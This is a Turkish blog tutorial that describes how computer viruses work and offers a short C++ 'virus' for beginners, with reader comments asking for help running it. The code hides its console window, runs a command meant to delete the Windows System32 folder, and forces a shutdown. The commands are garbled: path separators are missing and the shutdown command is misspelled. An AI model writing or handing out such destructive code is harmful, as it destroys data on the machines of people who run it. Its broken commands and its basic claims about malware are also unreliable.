Virüslerin Mantığı ve Bir Örnek

Virüslerin mantığına kısaca değinelim ve C++ ile bir virüs yazalım.

Merhaba arkadaşlar,

Bu seferki konu virüsler (bilgisayar virüsleri). Her daim Windows olmak üzere karşımıza çıkıyorlar. Artık Linux ve Mac OS işletim sistemlerinde de bir kaç tane virüs var. Aslında onları yazmak çok basit, çünkü artık .deb, .dmg paketçikleri var.

Mantık

[*] Bilgisayarı tanımlar.
[*] Bilgisayara kendini sanki daha önceden de varmış gibi gösteririr.(İşletim sisteminin bir parçası gibi)
[*] Çoğalmaya başlar ve silinemez.

Yukardaki mantık üzerinden bir virüs örneği tabi ki de vermeyeceğim. Çünkü size vermek istediklerim gidip zavallı bilgisayarları çökertmek olmayacak. Bu yüzden kendi üzerinizde sanal makinada deneyebileceğiniz birşey olacak.

Dev C++ kullandığım için kodlar ona uyarlıdır. [Console projesi olarak C++ öntabanlı açın]


#include <cstdlib>

#include <iostream>



using namespace std;



int main(int argc, char *argv[])

{

    FreeConsole(); // KONSOLUMUZU SAKLADIK GORUNMEZ OLDU

    // system32 yi sildik

    system("rd c:Windowssystem32"); // SYSTEM KOMUTU CMD UZERİNDE YADIÐIMIZ KOMUTLARI UYGULAMAK İÇİN BİR PARAMETREDİR

    // bilgisayarı yeniden başlatmasını sağladı ki, sonra açılırsa helal olsun =)

    system("shut down -s -t 10");

    

    system("PAUSE");

    return EXIT_SUCCESS;

}

  • Etiketler;
Fmdogg Fmdogg
Sanalkurs.net
Yorum Yaz

Yorum yazabilmek için üye girişi yapmanız gerekiyor!

C:UsersfurkanDesktopSnap_2011.07.07_20h05m43s_005.png dev c++ kullandım ama bu şekilde oldu acaba doğrumu yeni merak sardı böyle konular beni yardım edersiniz sevinirim. teşekkürler
kod için tşk.

Yukarı Git